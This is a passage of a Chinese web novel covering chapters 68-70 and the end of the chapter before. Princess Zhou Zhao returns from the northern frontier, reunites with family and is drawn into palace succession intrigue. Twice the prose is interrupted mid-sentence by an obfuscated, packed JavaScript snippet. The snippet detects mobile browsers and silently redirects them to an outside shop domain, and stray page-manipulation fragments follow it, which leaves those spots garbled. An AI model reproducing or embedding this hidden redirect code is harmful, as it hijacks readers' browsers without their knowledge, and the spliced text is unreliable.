赵允城的脸被火光映上几分扭曲,周昭一瞥梁王,赵允城语气温和道:“多亏梁王殿下告诉朕,皇叔的死敌是什么。” 梁王嘿嘿笑了两声,问道:“周昭,你难道不想知道渡舟的真身是什么吗?” 他难掩兴奋,舔了舔嘴唇,“渡舟的真身,就是让你日日夜夜都做噩梦的槐树!” …… 轿辇于风雪中行得飞快,暗夜难明,始终不见星光。 周昭刚下软轿便一阵恶心,她脑子里昏昏沉沉,随手解了斗篷丢开。 这场风雪像没有尽头,阴魂不散跟在她身后一千多年。 火酒酒如其名,后劲儿十足。周昭胃里阵阵灼烧,分不清东南西北,脚下一软向前跌去,却没有摔痛。 周昭竟然在这时候还能记得身上的匕首放在何处,她一双眼睛黑得惊人,如惊弓之鸟,摸到匕首便往那双托住她的手背后刺。 “谁!” 那人安抚似的攥住她的手带到胸前,像是浑然不怕刀子会刺到自己。 夜里太黑看不清,周昭刚说出一个字,便身子一软就着那人相扶的手吐起来。 她没吃什么东西,尽吃了些冷酒在肚中,吐到最后只剩清水。周昭半闭着眼,模糊中看见似乎吐了那人一身,对方也不恼,由着周昭紧紧抓着自己的胳膊不放。 周昭吐完本该舒服些,但她心里难受,实在很想在这雪地里躺一躺。于是松开那人衣袖,顺势往雪地里滑,口齿不清喃喃道:“我想一个人……待、待会儿,你的衣服……” “我、我明日……赔……” 话音未落,身子忽地一轻,周昭蹙眉暧了一声,对方像是知道她会从哪个方向出手,将她抱得严丝合缝。 那人怀抱不算特别暖和,走起路来却比软轿稳当多了。 周昭勉力睁开眼,从下往上看到渡舟的睫毛上挂着几点晶莹的雪粒子,她低声道:“是、是十六啊……不是说你......你闭关,怎么出来了……” 渡舟低低地应了一声,喉咙也跟着滚动。 他鬓边白发似乎比从前多了许多,并不看周昭,微微蹙眉道:“殿下……” 渡舟这话里留有余地,周昭喝多了酒,头脑不算清醒,却听出那点儿余地来。 就是不知道渡舟是在怪我跑去宫里,还是怪我吐了他一身…… 没有风雪再落到周昭身上,她不安分地卷起渡舟一缕长发,眯起眼睛道:“十六,你的头发……为什么是白色?” 渡舟默不作声,大步向前。 “我今夜……见到梁王了。” 渡舟抱着周昭的手不由自主紧了紧,周昭仰着脸,继续道:“梁王真惨呢,人不人,鬼不鬼的……” “……”渡舟沉声道,“那是他活该。” “十六……”周昭轻轻攥住渡舟领口,自嘲道,“那我是不是也活该?” 活该众叛亲离,活该苟活于世。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16874254|184482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “殿下,别再说了……”渡舟打断她,声音干涩。 前面就是周昭住的地方,渡舟站在回廊里,却不愿再往前走。 廊角点着两盏琉璃灯,虽然微弱,也好过没有。 “十六,放我下来吧。”周昭松开手。 渡舟停住脚步,终于将周昭放下来。周昭眼神恢复清明,沉默片刻,低声问道:“十六,你曾经说的话还算不算数?” 渡舟点点头,周昭扯出一抹笑意来:“我每日都做噩梦,除了汴江水,还总梦到一片槐树林。” 渡舟身体肉眼可见地僵硬住,周昭继续道:“我这辈子除了下雪天,最讨厌槐树。” 渡舟默不作声,周昭又问:“……十六,你可曾、可曾对我有过愧意?” 因为有愧,所以让我活。 因为有愧,所以对我好。 “殿下……” 周昭不等渡舟回答,便飞快地转身进屋。 她双手颤抖着将门锁住,怀里掉出来一卷书册。周昭在冰冷的地面上干坐半晌,才僵硬地捡起那卷书。 她目光漠然,一页页翻过去。 忽然哇的一声,一口血洒在书页上,浸透了墨色字迹—— 宣庆二十六年冬……永安门之变,皇女昭于叛乱中杀母弑兄,三日后,新帝即位。次年改国号安平。 …… 安平元年,新帝大兴土木,修建地宫。同年秋,颁布均田新法,朝野怨声载道。 ……帝广招天下修士,封爵赐官。又建伏灵院,院中日夜炼丹,以求长生不老之药…… 安平二年,帝亲征海疆,解黎国被困之围。 ……次年春,黎国主大婚,周黎决裂。 其后,帝不顾众谏,发寿陵,内取奇珍异宝无数,自此夜夜笙歌,荒淫无度。盖因帝嗜血,常杀人作乐,盛时日杀百人犹未尽。 同年冬,颁路引新法,极简签发路引手续,取消限期往返,州县不得无故不签。 朝野内外引起轩然大波,官员死谏直言天子昏聩。 ...... 安平四年,汴西十三州易主,八王伐周。帝亲率王师南征北伐。鏖战两年,胜多败少。 安平六年冬,黎接连吞并北疆三城,晋川失守。国主谢景于阵前厉声斥之,帝不怒反笑,亦不予左右射杀。其后帝以王军攻防图予敌,经由黎国僧人忘尘转交,遂至兵败,汴江浮尸数里,血色连月不尽。 周皇城破,万人入城焚火烧之,大火三日不绝。 周历已移,帝为众缚于祭台,卒掘心而死。安平之后,人皇一脉乃绝于世。 周亡。 …… 周昭脸色未变,扶着门框站起来,史册从她怀中滑落,往前翻了几页,上面写着—— 宣庆二十四年冬,晋川大捷。皇女昭自北疆班师回朝,年方十七,意气风发端坐马上,民以为神女降世,跪地高呼…… 68. 第 68 章 “盛都真大!”赵六子张着眼睛四处看,一刻不敢眨眼,情不自禁道,“比俺们辽城大得多!” “九重宫阙接星河,十里长街散绮罗。”燕飞轻轻甩了甩马鞭,跟上来,昂着头道,“六子,知道这句诗写的是哪儿吗?” 赵六子挠挠头道:“啥玩意儿?太吵了俺听不见你说啥!” 四周笑声一片,燕飞翻了个白眼,策马往前。赵六子双腿一夹马肚子,喊道:“燕飞!你等等俺!俺真的没听清你说啥,燕飞!” 晋川赤霞关大捷,北疆霍大将军今日班师回朝,道路两旁早就人头攒动,将盛都主干道围得水泄不通。 道路两旁有姑娘忍不住小声道:“这位军爷说话怎么......” 落到燕飞耳朵里,忍不住哈哈大笑,从怀里掏出一朵进城路上随手摘的野花抛出去,流里流气道:“好妹妹!那是你乡下哥哥!多担待!” 那姑娘接了花,脸色绯红,抬头却寻不见抛花的人影。 燕飞行至一匹骏马身边,那马年岁尚轻,毛色油亮发红,眉心正中一撮白毛,是匹上好的千里马。燕飞艳羡不已,说道:“阿鸢,等进了城,狼牙借我玩儿两天,成不成?” “别借他!”赵六子喘着粗气跟上来,嬉皮笑脸道,“他一进盛都,指不定有哪个温柔乡等着。” “六子说得对,你们且看着,再过两天,燕飞保准连上马的气力都没了哈哈哈哈!” 一阵浑笑过去,唯有红马上坐着的人只略微弯了弯唇角。赵六子问道:“阿鸢,将军最器重你,今日回朝,怎地不见你跟将军走在阵前面去?” 燕飞马鞭拍拍赵六子肩膀,调笑道:“你懂什么,前面多无趣,哪有跟兄弟们说笑快活,是吧阿鸢!” 那少年微笑道:“是啊,前面多无趣。” “倒也是。”赵六子也笑,又问,“阿鸢,咱们是回城,又不去杀敌,怎地还戴这面具?” 燕飞正要说话,赵六子恍然大悟道:“俺知道了!阿鸢兄弟生得比女人还好看,不戴面具,万一路上被姑娘瞧中害了相思病,岂不罪过罪过。” 他说着双手合十,装模作样口中喃喃,燕飞在马背上狂笑不止,险些跌下去。 那张面具底下的脸愈发生动,两年疆场磨砺,周昭瘦了些,下巴略尖,眸光坚韧。从前自盛都走出去时,身上那股子浮躁之气也沉了下来。此时跟随大军端坐马上,不像公主,倒像是哪个俊美小将。 周昭当年本想送完信就回去,谁料大雪封山,辽城防御使杨坚战死。孟舒果然跟北面的鞑子暗通款曲,辽城刚失守,草原八大部落那位新可汗察罕图便发动敌袭。 周昭人都来了,又怎能甘心就这样回去?于是又跟着霍璋将军攻城,战事瞬息万变,她这一待就是整整两年。 起初江梅棠还能替周昭遮掩,但纸包不住火,宣庆帝知道后自然大发雷霆,差点儿把江梅棠派过来将周昭捉回去。但皇女身在军营一事并不能走漏风声,边境鱼龙混杂,被有心之人盯住反不安全,只能一封封信雪花片儿似的从盛都往北疆送。因此除了霍璋,其余人并不清楚周昭身份。 周昭两年没有回来,但见城外一座青山颜色苍翠依旧。她抬头遥遥相望,不禁神情落寞。 两年了,师父莫要怪我。 此时恰好山巅传来钟声阵阵,不多不少,一共三下。 燕飞抬手挡住阳光,循声望去,问道:“那是什么山?” 有百姓回答:“军爷,那是苍界山!” “哦?我听说不久前仙去的国师就住在苍界山。”燕飞只是听过江梅棠这个名字,并不熟悉。 百姓继续道:“军爷说对了,不光国师大人,明鸢殿下也住在山上。” “明鸢殿下?”赵六子搭话道,“这个俺知道,两年前盛都瘟疫,就是这位明鸢殿下想法子治好了,听说救了几千人性命。” 那人神情激动道:“明鸢殿下心善,咱们都日夜感念殿下恩德呐!” “可不是嘛,可惜殿下这么多年都没下过山......” “听说殿下是在山上为大周祈福!” 你一言我一语,却不知他们心心念念的明鸢殿下就在不远处的马背上。 师父倒是为我寻了个好借口,周昭面上微热,尽管戴了面具,仍是受不了光天化日下顶着这么多热切的目光,于是策马向前去了。 没走多久,左前方拥堵得厉害,就连两侧站着的守卫也心不在焉,频频回头张望。 周昭看不清楚,俯身问道:“兄弟,前面发生什么事儿了?” 那士兵回答:“像是有个小女娃挡在路上。” 周昭往前走了几步,果然人群中央站着个七八岁的小女娃。她怀里抱着个绣花布袋,面前围着许多大人,却没一个人站出来把孩子从路边抱走,反而都直勾勾地盯着那只袋子。 小女娃伸手从布袋里翻找几下,掏出一只硕大的夜明珠来,稚声问道:“谁要?” “我要我要!”男人一把抢过夜明珠,哈了口气用袖子擦了擦,心满意足地离开了。 周昭顺手抓住男人,斥道:“干嘛抢小孩儿东西,还给她。” 男人挣脱不开,骂道:“你哪只眼睛看到我抢了!” 小女娃又举着一只金戒指,继续问:“谁要?” “我!我要!” “我也要!给我吧!” 人群一下子涌上来,男人从周昭手底下溜走。燕飞他们也过来了,问道:“阿鸢,怎么了?” 周昭指了指那抱着布袋子分发珠宝的小女娃,燕飞嘿嘿笑道:“盛都就是大地方,娃娃都这么气派!” 赵六子回头叫道:“燕飞!阿鸢!将军派人催了,快上马!” 周昭点点头,随手指了个守卫把那女娃娃带回去。正欲上马,经过小女孩身边时,对方仰着头脆生生地叫了句姐姐,周昭弯下腰柔声说道:“小妹妹,这儿人多,快跟哥哥回家去了。” 她说完才反应出不对劲,这孩子是怎么知道我不是男儿身的…… 小女孩抿着嘴巴不说话,从布袋子里掏出来一颗拇指大小的黑珍珠,周遭一片吸气声,小女孩浑然不知自己手中是多价值连城的宝贝,高高举起,递给周昭道:“送给你。” 这是谁家的宝贝闺女,拿了家里这么多好东西出来白送。 周昭又怕生事,对那守卫道:“劳烦,赶紧找到父母送回去。” “姐姐不要,姐姐不要!”小女孩突然嚎啕大哭,赌气般扔了珍珠。 “珍珠!我的珍珠!” “是我的珍珠!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16877056|184482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 人群顿时骚动起来,横冲直撞下狼牙受了惊,一声嘶鸣过后,前蹄高高扬起。马蹄重千斤,踏下去非死即伤。 周昭一跃而起,拉住缰绳在左臂上连绕几圈,叫道:“都让开!” 烈马鬃毛如巨浪扬沙,周昭掌心被勒出血痕,借势猛地一拽辔头,硬生生将马头转了个方向。不过瞬息之间,她便身轻如燕地翻身上马,双腿夹紧马肚子,回头道:“六哥!我先带狼牙前面去!” 赵六子应道:“你且放心去!这里有我跟燕飞!” “那小女娃跑哪儿去了?”待安抚完受惊的百姓,燕飞从地上捡起一只面具,饕餮纹路凹凸不平,有些硌手。 他擦擦上面的灰递给赵六子:“阿鸢的面具。” 赵六子接了,问过守卫,回来道:“说是刚才人多没注意,可能家里人来抱走了吧。” 燕飞一甩马鞭,少年人心急,喊道:“那咱们也走,将军等急了要罚!” 二人匆忙上马,身后行军浩浩荡荡跟着入城门。有百姓望着北疆大军离去背影,议论道:“刚才你们看见那位军爷没有?骑红马那个。” “看到了,长得真俊呐!” “谁说这个了?”那人若有所思道,“你们有没有觉得他像一个人。” “……好像有点像安宁王殿下。” “是有点像,还像苍界山上那位明鸢殿下……” 周昭走到半路才发现面具掉了,懊恼不已。 也不知被谁认出来没有...... 进了城,刚在驿馆坐定,立时有圣旨送来。上面写着宣庆帝要为北疆军接风洗尘,宫宴定在今晚。 霍璋今年三十出头,比周昭大了整整一轮还多。他一身戎装未卸,跪下谢恩。 宫里来的是常年服侍宣庆帝左右的总管李德海,长了一张白白胖胖的富态脸,眼睛嘴巴陷在肉里几乎看不见,只有一张一合时才能分辨出那是个五官,他笑着说:“将军,陛下吩咐了,今日宫宴多带些人去,热闹热闹。” 大将在外,无诏不能回。 霍璋这回明面上是赤霞关大捷回盛都受赏,实则还有层意思,便是护送周昭返都。霍璋自然明白李德海的意思,应道:“还请总管转告陛下,臣知道了。” 听见这话最高兴的是燕飞跟赵六子,等李德海走了,二人凑在周昭身边道:“阿鸢,将军肯定要带你去。你跟将军说说,把咱俩也带进宫见见世面。” 霍璋回头道:“嘀嘀咕咕,在嚼什么舌头?” 霍璋生就一副不怒自威的脸,这份威严甚至常常盖过了这张脸上原本的俊朗,让人不敢逼视。但霍璋此刻虽然嘴里没好话,语调却是上扬的,说明他心情不错。 燕飞做了个鬼脸,问道:“将军,你打算带谁去?” 霍璋扫了一圈儿,随口答道:“把整个北疆大营都带去,你看行不行?” “行!那可太……”燕飞声量渐低,心道连将军进了盛都城都会混说了,这里果然富贵迷人眼。 霍璋抬了抬下巴,嫌弃道:“要想进宫,先打桶水洗洗干净,一个个泥猴子似的!祝鸢,你留一下。” 燕飞喜笑颜开,拉着赵六子冲澡去了。 等四下无人,霍璋突然跪下,周昭吓得连忙双手相扶:“将军!” 69. 第 69 章 霍璋不肯起来,说道:“殿下,在北疆您愿意屈尊降贵当我手底下的兵,是您和陛下给我霍璋脸面。但进了盛都,您就是金枝玉叶的公主殿下,万不能再像从前跟在我身边当个小小副将,这成何体统!” “将军您先起来!”周昭脱出而出道,“我答应您就是了,我这次回来就是跟父皇请罪的。” 霍璋不肯让周昭来扶,站起身道:“请罪谈不上吧,陛下那么宠爱殿下。” 周昭不好意思道:“您又不是没见过当年父皇送到北疆的信。” 霍璋显然也是想到了那段夹在中间难做人的日子,干笑两声,问道:“殿下这次回来,有什么打算?” “见过父皇母后之后,我想去苍界山看看师父再做打算。”周昭尚未从两个月前江梅棠突然病逝的打击里走出来,提起苍界山难免消沉。 霍璋劝慰道:“臣多年前与国师有过一面之缘,国师病体孱弱,却教出您跟黎国的谢景殿下两位少年英才,也算功德无量了。” 提起长淮,周昭想到他是那么喜爱师父的一个人,所受打击想来不比她小,不由感叹道:“可惜师父去时,我跟长淮都不在身边。” 霍璋不善言谈,再多安慰的话也没得说了,只好岔开话题道:“殿下,燕飞他们那边打算怎么办?” 一说起这个周昭就头痛,虽然当时事态紧急,迫不得已才换了个假身份潜入军营报信。但说一千道一万,欺骗就是欺骗,这让她如何说出口...... 周昭面露难色,说话间正好燕飞跟赵六子勾肩搭背走进来。 他俩一身水汽,军装半挂在肩膀上,口中胡乱交待些不入流的小调,活像两个地痞流氓。见霍璋还没走,立马夹着尾巴规矩许多,擦了把脸上的水珠子,老老实实唤道:“将军。” 霍璋这回没骂,只是说:“出了这个门,别说是我的兵。” 燕飞向周昭投去求救的眼神,霍璋心如明镜,冷不丁道:“看什么看,那是公主殿下。” “公、公……” “你他娘的瞎叫什么!公主!”霍璋气不打一处来。 “公主殿下!”燕飞二人终于憋出了个响屁。 “将军——” 周昭万万没想到霍璋就这么堂而皇之地说出来了,尴尬地站在原地,霍璋倒是不遮掩,继续道:“说了是公主殿下还敢看!我们大周的公主殿下心系百姓,不远万里来到北疆,就是为了救你们这帮小兔崽子。” “将、将军!”周昭面色透红,眼神哀求,在人前喜怒不形于色的功夫显然还没练到家。 霍璋终于不再说了,将目瞪口呆的燕飞跟赵六子揪住后领带出去。 进宫路上,燕飞还是不敢相信日日跟他们厮混在一起的祝鸢,就是那位只活在想象里的明鸢殿下。 “六子,我越想越不对劲,明鸢殿下就算胆子再大,也不至于从盛都一口气跑到北疆来吧?” 赵六子头脑简单,霍璋说什么他就信什么,反驳道:“公主怎么了?反正是咱好兄弟就够了呗。” 燕飞恨铁不成钢,低声骂道:“我说六子,你是不是脑子缺根筋?阿鸢是咱好兄弟,那公主殿下能是咱好兄弟吗!你配吗!” “我不配,难道你配?” “......我也不配。”燕飞兴致恹恹,一路都没什么话。 周昭早他们一步进宫,一是没想好怎么面对昔日好友,二是皇后两年未见周昭想念得紧,派人来驿馆催了几回。 周昭怕自己一身沙场血气,特意先绕道回的昭阳殿,想沐浴完再去见皇后。谁料她悄莫声翻墙进来,却被流筝抓个正着。 “公主殿下!您可算回来了!”流筝一见面就哭,周昭忙捂住她的嘴,低声道:“流筝姐姐,不是说好不要声张吗?嘘!你小点声哭。” “皇儿长本事了,都会翻墙了。” 周昭听着这声儿,没说一句话先酸了鼻子,双膝一软跪地叩首道:“母后!儿臣……儿臣回来了。” 皇后仍是两年前雍容华贵的模样,但周昭眼尖,远远一眼便看到她眼尾新添了几条细纹。 皇后身边跟着个不算很高的少年,周昭瞧着眼熟,却未来得及细看,皇后将她揽进怀里,声音哽咽道:“昭儿,快让母后好好看看你。” “脏,母后,我这一身脏得很。”周昭躲闪不及。 皇后拉了周昭的手站起来,嗔道:“母后生出来的孩子,脏怕什么。”她细细打量着周昭,又低头拭泪,“长高了,也瘦了。” 周昭故意逗皇后开心,说道:“比澈哥哥高了吗?” 皇后亲昵地刮了刮周昭鼻梁:“你这妮子,还记得有个澈哥哥。等你见了他,比比就知道了。” 周昭破涕为笑,终于腾出空儿来看旁边站着的那个少年。少年不待她相询,便甜甜笑道:“昭姐姐,许久不见了。” 皇后拉着周昭的手,笑说:“昭儿,还认得这是谁吗?” 周昭一听他说话便认出来了,问候道:“是折杞啊,模样长变了许多,我都认不出了。” 折杞当年像个地里刚拔出来嫩生生的小白萝卜,周昭见他不是在哭就是被欺负,如今不但长高许多,气质也变了个样儿。 皇后假意斥她:“你这丫头一跑就是两年,母后也快认不出你了。这两年多亏折杞这孩子有心,常来宫里陪着母后说话,你二哥走得早,你又……” 皇后提到伤心事,轻轻叹了口气。折杞温顺地站在旁边,体贴道:“皇娘娘,昭姐姐刚回来,折杞就不打扰你们说话,先回去了。” “去罢。” 母女俩相携往昭阳殿去,一路上又说了不少体己话。末了皇后嘱咐她,待会儿一定要先去承乾殿看看宣庆帝。 “昭儿,你父皇当年虽然话得重,但这两年记挂着你呐。他是皇帝,你得先好好认错,知道吗?” “母后,儿臣记下了。”周昭拉着皇后撒娇,皇后心里高兴,又吩咐流筝多准备几套衣裙,“换了这身衣裳再去,免得你父皇看了又生气。” 周昭去承乾殿的路上心里忐忑,几欲退缩,半道上碰见来寻她的周澈。 安宁王周澈比她只大两岁,身子弱常年养在深宫,不像周昭另外两位哥哥驻守边关。去年封王宣庆帝赐了周澈“安宁”二字,也是希望他安康长乐。 周澈跟周昭走在一起,二人愈发像是一个模子刻出来的,也说周昭长高许多。 “澈哥哥,父皇会跟我和好吗?” “傻丫头。”周澈笑起来如沐春风,“父女哪有隔夜仇,父皇也是担心你。” 周昭趁机告状道:“父皇还说不认我这个女儿呢。” 周昭说完这有些撒娇意味的话,浑身上下十分不得劲地抖了抖,像是要把那层鸡皮疙瘩给抖下去。 她在关外吃了两年风雪,男人堆里滚着,一边打仗一边长大,乍一见至亲,冷硬的盔甲底下又不由自主地生出些陌生的少女情怀,让周昭十分的不适应。 但仔细一想,周昭也才刚满十七。 周澈像小时候那样摸了摸周昭的脑袋,无奈笑道:“你这丫头……前面就是承乾殿,我在外面等你。” 周昭不情不愿,一步三回头进了承乾殿,心里七上八下,轻声唤道:“父皇,儿臣回来了。” 宣庆帝嗯了一声,看着周昭半晌,说道:“平安回来就好。” 周昭跪下道:“父皇,儿臣当年有错。” 没有想象中的大发雷霆,或是责难惩罚。 宣庆帝从台阶走下来,亲自扶起周昭道:“霍璋在信中都跟朕说了,此次晋川大捷,皇儿功不可没。” 周昭不敢应承,摇头道:“功劳全在北疆将士,儿臣只是尽微薄之力。” 宣庆帝满意点头道:“皇儿既有救世之心,又有救世之能,朕心甚慰。” 他拉着周昭的手,二人一步步走上龙椅,说道:“这个位子,天下人都想要,却不好坐。衡儿走后,朕一下子老了很多,愈发力不从心。如今见你们一个个都很争气,周家江山不至于没落,朕心里高兴。” 周昭心里发堵,她从前待在苍界山虽然学了诸多本事,但都如束高阁,纸上谈兵。 如今出去两年,见过堆成山的死人,尝过混着沙的白粥,看过白发苍苍举家南迁的老人,才真切体会到了这些年流年不利,国家艰难。 若从前宣庆帝跟她说这些,周昭不一定能有现在感同身受,但她也有些自个儿的私心 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袁良即孟舒国三王子,两年前就是他突然领军发难辽城,打了周朝一个措手不及。 “陛下,不如拨给臣两万精兵,别说袁良,就是他老子袁浩,臣也立时捉来!” 说这话是盛都禁军总督沈博安,他是皇后表了几表的远方亲戚,按理周昭要叫他一声表舅。 沈博安仗着年纪比霍璋大,又手握皇城禁军兵权,因此行事作风颇有几分傲气。 燕飞坐在霍璋身后两排,闻言很是翻了个白眼,凑到赵六子耳边小声道:“这哪冒出来的草包,袁良也是他能说抓就抓的?” 赵六子光顾着看周昭,眼睛都看直了,答非所问道:“燕飞,我现在相信阿鸢是公主殿下了……” 周昭今日晚宴换了宫装,一袭水色孔雀蓝长裙,云锦广袖层层叠叠,臂挽泥金纱罗,腰束九环玉带。梳的是流云发髻,簪一根珍珠步摇,跟那额间花钿相得益彰。 周昭甚少穿这样明亮的颜色,只因皇后疼她没有笄礼,早在几月前,就让宫里的工匠比着两年前备下的那套及笄穿的裙装,又重新做了件。如此盛装打扮之下,让人看一眼便移不开目光,也难怪赵六子要看呆了。 “憨货!”燕飞骂了句,也忍不住看了眼周昭,继而低头吃席去了。 宣庆帝岂能不知沈博安在说大话,半是玩笑半是认真道:“博安,朕看等过了年,你就跟霍爱卿同去北疆,如何?” 沈博安当时就变了脸色,同样神情微变的还有平南王。 平南王今年二十有六,长了张很讨女子喜欢的脸,模样跟年轻时候的宣庆帝很像,身上有股子年轻王侯势不可挡的锐气。 他便是周昭的大哥,周驰。 周驰端起酒盏送了口酒入喉,宽袖底下的目光微不可查地往玉阶上看了一眼。 “陛、陛下……”沈博安有点结巴,干笑道,“微臣想了想,还是盛都陛下的安危更重要。北疆,就……” 宣庆帝转向霍璋,问道:“爱卿觉得如何?” 周昭不用想就知道霍璋要说什么,沈博安放在皇城是个马马虎虎的总督,放在北疆,那就是个既不中用又不能怠慢的主儿。 果不其然,霍璋道:“北疆苦寒,臣怕沈总督……嫌冷。” 霍璋说话带点儿与生俱来的痞气,惹得宣庆帝哈哈笑道:“北疆的确冷些。” 沈博安一颗心还没放回肚子里,宣庆帝又道:“朕听说,前阵子禁军大营死了个人?” 沈博安冷汗都要掉下来,答道:“回陛下,是......是有这回事儿。” 说起这事儿沈博安就觉得倒霉,死的是当夜巡逻的禁军,喝多了酒掉进河里,尸体泡了一天一夜才被发现。本来这事儿不大,但偏偏年根底下死了,简直晦气。 沈博安生怕宣庆帝再问,眼神忍不住地往对面平南王身边飘,对方压根没看他。宣庆帝似乎没打算追究,挥手让沈博安别再站着。 又过了两只曲子,宣庆帝漫不经心道:“盛都是大周的心脏,禁军就是护住这颗心脏的剑,少一个,就要添一个。博安,年后就让明鸢去你那儿罢。” 70. 第 70 章 周昭正挨着皇后吃蟹粉酥,离开盛都两年,朝堂内的事儿她一概不懂,此时险些噎住。一口水刚顺下去,便听宣庆帝问道:“明鸢觉得呢?日后留在盛都也好多陪陪你母亲。” 这便是要把话说死了。 一时间,所有的目光都落在周昭身上。在场谁都清楚周昭消失的这两年不是在苍界山,而是在北疆。 但宫里从前不说北疆,只说苍界山,那便是不想外人知道。 今日宫宴宣庆帝毫无征兆地改了口,又点名周昭去禁军,气氛突然变得微妙起来。 周昭是不大想去禁军的,不说北疆的鞑子还没打服,沈博安这个人她也不喜欢。 “父皇,儿臣还想跟着霍将军多学些本事。” 宣庆帝看着她,不大欢喜道:“朕看明鸢的本事,已经学得够多了。” 皇后在周昭手背轻轻拍了两下,一个声音道:“父皇,明鸢毕竟是女儿家,禁军那种地方……” 周澈站起身,微笑道:“不如让儿臣去吧,儿臣闲来无事,刚好跟着沈总督历练历练。” “安宁王怎么站出来了……” “安宁王不是最不喜欢跟兵痞子打交道吗……” 众人窃窃私语,周澈说话声音虽然温和柔缓,却丝毫不怯。周昭正欲起身阻拦,却又被皇后拉住,皇后掩面小声道:“皇儿,莫要辜负你哥哥苦心。” 宣庆帝皱着眉打量着自己这个小儿子,半晌终于道:“好罢,南衙十六卫还缺个中郎将。” “儿臣谢父皇。”周澈又转向沈博安,“沈总督,日后我有做得不对的,还请多担待。” 沈博安喜笑颜开道:“五殿下说哪里话!” 周澈坐下后,不露声色地冲周昭摇摇头,示意她莫要再说。 歌舞又起,却进不得人心。 周昭食不知味,寻了个借口离席。外头落雪纷纷,周昭见惯了北疆凛冬,并不觉得冷。 她心烦意乱,越走越快,等见着眼前一只秋千才,反应过来自己走到哪儿来了。 那秋千上堆着厚厚一层白雪,周昭忿忿地一脚踢过去,积雪簌簌掉下来,反倒落了她一鞋袜。只有四下没人的时候,周昭才露出那么点儿孩子气来。 她也不怕凉,就这么在秋千上坐下,过了阵子周澈也来了,笑着说:“我就知道你在这儿躲着。” 周昭站起来相迎:“澈哥哥,你怎么来了?” 周澈示意随行的宫人在外头等着,转身进了园子,微笑道:“我若不来,你岂不是又要坐这偷偷哭?” 周昭面带愁容道:“澈哥哥,我想不明白。我只离开两年,为什么……” 她目光暗淡下去,继续道:“是我不懂事儿,还连累你要去禁军当差。你最讨厌那种地方了,要不我再去跟父皇说说,还是换我去,好吗?” 周澈摇头道:“小昭,宫里一直是这样的。只不过从前你在苍界山,有国师护着。这两年又跑得更远,所以才会不适应,才觉得陌生。” 小时候的秋千已经坐不下他们二人,又下着雪,周澈便引着周昭往园子里面的凉亭去坐着。 周澈抖了抖身上的雪,说道:“小昭,朝野上下所有的眼睛都盯着父皇,等他决定一件至关重要的事儿,你知道是什么吗?” 周昭摇摇头,周澈道:“立皇储。” “皇储?”周昭脱口而出道,“难道不是大哥吗?” “不,皇储还没有定下人选。”周澈轻轻蹙眉,“本来我也以为是大哥,我觉得大哥也是这么想的。所以这些年大哥有些事儿做的出格,不是皇储却行皇储之事,父皇心里想必不大高兴。今日父皇所为,就是想敲打大哥,皇储之位不是非他不可。” “沈博安是大哥的人?”周昭敏锐道。 周澈不置可否,抓了把雪散在桌上。 他伸出手指比划道:“当年圣祖皇帝一统天下,四方来朝,国土比如今还要大上许多。但盛极必衰,经过多年朝代更迭,到如今这天下早已不止我大周一家。北疆鞑子八大部落虎视眈眈,如今又冒出个盟国孟舒。辽东海疆有黎、姜、赵、何罗诸多邻国。南疆多蛮夷,沿着甘南腹地的汴江一路向西,又有汴西十三州。” 周昭附和道:“霍将军常年驻守北疆,大哥则居西南,平南王封号由此而来。” “不错。至于盛都……主要兵力全在禁军。禁军又分两大营,一是父皇今日让我去的南衙十六卫,二是北衙禁军,这两拨人职责不同,为的就是制衡二字。但这些年南衙羽林军名存实亡,北衙才是禁军精锐,也是沈博安心腹所在。沈博安担了北衙总督,却身兼两职,如今说起禁军,竟是沈博安一人天下了。禁军总督手底下兵马虽远不及边关,但毕竟是盛都的兵。” 周澈轻轻点了点这片雪堆的中心位置:“禁军,只应该听命于一个人,大哥不该越界。” 周昭若有所思道:“我明白了,父皇让我去禁军,也是为了制衡二字。”周昭说完又摇摇头,“可我不过一个手里没权的皇女。” 周澈一指北方,言简意赅道:“霍将军。” “霍将军是霍将军,我是我。”周昭笑说,“澈哥哥,你不了解霍将军,他为人洒脱,断不会想趟盛都这浑水。再说大哥是父皇的亲儿子,纵使有不对的地方,总不至于父子反目。” 周澈亦笑道:“小昭,你还是不明白。” 桌上的雪堆已经化成水渍,周澈道:“走吧,耽搁久了父皇要不高兴了。” “好。”周昭点点头,二人一前一后走出园子。 因着周澈自请去禁军这件事儿,周昭心中总不大痛快,她跟周澈并排走着,一个垂着眼眉头微蹙,一个目视前方眸光平和,眉眼却是像极了,好似一个模子里刻出来两个雪团儿捏成的娃娃。 周澈边走边宽慰道:“小昭,我毕竟是个王爷,就算去禁军也是个虚职,别再愁眉苦脸了。” “不,”周昭低着头道,“这回不一样。” “什么?” “南衙十六卫荒废多年,北衙沈家独大,父皇有心推我们一人上去,又怎能置身事外。” 回去路上,恰好遇到出来醒酒的周驰。他先是看周澈,再是看周昭,似笑非笑道:“六弟,小妹,都是一个母亲生的,为何你们两个长得一看便知是亲兄妹,我却跟你们一点儿不像。” 周澈笑道:“大哥像父皇。” “哦?”周驰挑眉道,“小妹也这么觉得吗?” 周驰比周昭大了许多岁,从前见着面,周驰总喜欢弯下腰将周昭抱起来转个圈儿才肯放下。 如今他一身军装,站得那样远,周昭也再不敢扑到他怀里闹,略垂了头道:“是,五哥说得对,大哥很像父皇。” 